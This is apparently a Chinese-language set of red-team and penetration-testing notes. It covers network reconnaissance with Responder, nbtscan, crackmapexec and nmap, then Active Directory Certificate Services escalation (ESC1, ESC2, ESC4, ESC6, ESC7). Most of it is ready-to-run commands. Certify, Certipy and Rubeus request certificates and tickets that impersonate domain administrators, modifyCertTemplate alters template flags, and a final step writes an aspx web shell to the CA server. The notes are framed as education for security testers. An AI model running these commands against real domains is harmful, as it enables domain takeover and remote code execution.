红队/渗透测试笔记及实验,在多个与专业项目相关的基础设施上进行过测试。
我在多个受控环境/基础设施中进行的渗透测试/红队实验的公开笔记,涉及与渗透测试人员和红队成员在安全评估中使用的各种工具和技术。
欢迎通过 GitHub 拉取请求进行贡献。
感谢所有辛勤付出的人
免责声明
仅用于教育目的,使用风险自负。
收集网络中域名和 Windows 机器信息```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
或```bash
bash$ responder-RunFinger
扫描IP网络以获取NetBIOS名称信息。```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
根据SMB信息扫描网络范围```bash
bash$ cme smb 192.168.1.1/24
扫描所有机器网络并保存输出。
快速扫描```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
高强度扫描(不推荐):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
扫描并枚举运行服务的版本:
## Angry IP Scanner
从以下链接下载工具:
[Angry IP Scanner](http://angryip.org/download/#linux)
* 更改首选项设置
> 前往:首选项 -> 端口 -> 在端口选择中添加 80,445,554,21,22 <br>
> 前往:首选项 -> 显示 -> 选择存活主机 <br>
> 前往:首选项 -> Ping -> 选择组合模式(UDP/TCP)
# 横向移动与利用
### Active Directory 证书服务
此部分内容复制自 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>更多详情请查看:https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(已在私有环境中测试(Bloodhound 后接 ESC1 利用))
* 查找 ADCS 服务器
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* 使用 certutil 枚举 AD 企业 CA:`certutil.exe -config - -ping`,`certutil -dump`
#### ESC1 - 配置错误的证书模板
> 域用户可在 **VulnTemplate** 模板中注册,该模板可用于客户端身份验证,并设置了 **ENROLLEE_SUPPLIES_SUBJECT** 标志。这允许任何人在此模板中注册,并指定任意使用者可选名称(例如作为域管理员)。允许在证书主题之外绑定其他标识。
要求:
* 模板允许 AD 身份验证
* **ENROLLEE_SUPPLIES_SUBJECT** 标志
* [PKINIT] 客户端身份验证、智能卡登录、任何用途或无 EKU(扩展/增强密钥用法)
利用方法:
* 使用 [Certify.exe](https://github.com/GhostPack/Certify) 检查是否存在易受攻击的模板
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# 或
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# 或
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* 使用 Certify、[Certi](https://github.com/eloypgz/certi) 或 [Certipy](https://github.com/ly4k/Certipy) 请求证书并添加替代名称(要模拟的用户)
```ps1
# 在提升的命令提示符下使用 "/machine" 参数执行 Certify,为机器账户请求证书。
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* 使用 OpenSSL 转换证书,不要输入密码
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* 将 cert.pfx 移动到目标机器的文件系统,并使用 Rubeus 为替代名称用户请求 TGT
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**警告**:即使该用户或计算机重置了密码,这些证书仍然可用!
**注意**:留意 **EDITF_ATTRIBUTESUBJECTALTNAME2**、**CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**、**ManageCA** 标志,以及针对 AD CS HTTP 端点的 NTLM 中继。
#### ESC2 - 配置错误的证书模板
要求:
* 允许请求者在 CSR 中指定使用者可选名称(SAN),并允许任意用途的 EKU(2.5.29.37.0)
利用方法:
* 查找模板 ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname 为域管理员,如 ESC1 中所示。ESC3 是指证书模板指定了证书请求代理 EKU(注册代理)。此 EKU 可用于代表其他用户请求证书。
对于允许域身份验证的模板,启用
mspki-certificate-name-flag标志,允许攻击者“将错误配置推送到模板,从而导致 ESC1 漏洞”。
使用 modifyCertTemplate 搜索值为 00000000-0000-0000-0000-000000000000 的 WriteProperty。 ```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
添加 ENROLLEE_SUPPLIES_SUBJECT (ESS) 标志以执行 ESC1 ```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
C:>StandIn.exe --adcs --filter WebServer --ess --add
执行 ESC1 然后恢复值 ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
使用 Certipy```ps1
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
> 如果此标志在 CA 上设置,那么任何请求(包括从 Active Directory 构建的主题)都可以在主题备用名称中包含用户定义的值。
利用方法:
* 使用 [Certify.exe](https://github.com/GhostPack/Certify) 检查 **UserSpecifiedSAN** 标志状态,该标志指向 `EDITF_ATTRIBUTESUBJECTALTNAME2` 标志。
```ps1
Certify.exe cas
```
* 为某个模板请求证书并添加备用名称,即使默认的 `User` 模板通常不允许指定备用名称。
```ps1
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
```
缓解措施:
* 移除该标志:`certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
#### ESC7 - 易受攻击的证书颁发机构访问控制
利用方法:
* 检测允许低权限用户具有 `ManageCA` 或 `Manage Certificates` 权限的 CA。
```ps1
Certify.exe find /vulnerable
```
* 更改 CA 设置,为易受攻击的 CA 下的所有模板启用 SAN 扩展(ESC6)
```ps1
Certify.exe setconfig /enablesan /restart
```
* 请求包含所需 SAN 的证书。
```ps1
Certify.exe request /template:User /altname:super.adm
```
* 如果需要审批则授予审批,或禁用审批要求
```ps1
# 授予
Certify.exe issue /id:[请求ID]
# 禁用
Certify.exe setconfig /removeapproval /restart
```
从 **ManageCA** 到 ADCS 服务器上的 **RCE** 的替代利用方法:```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx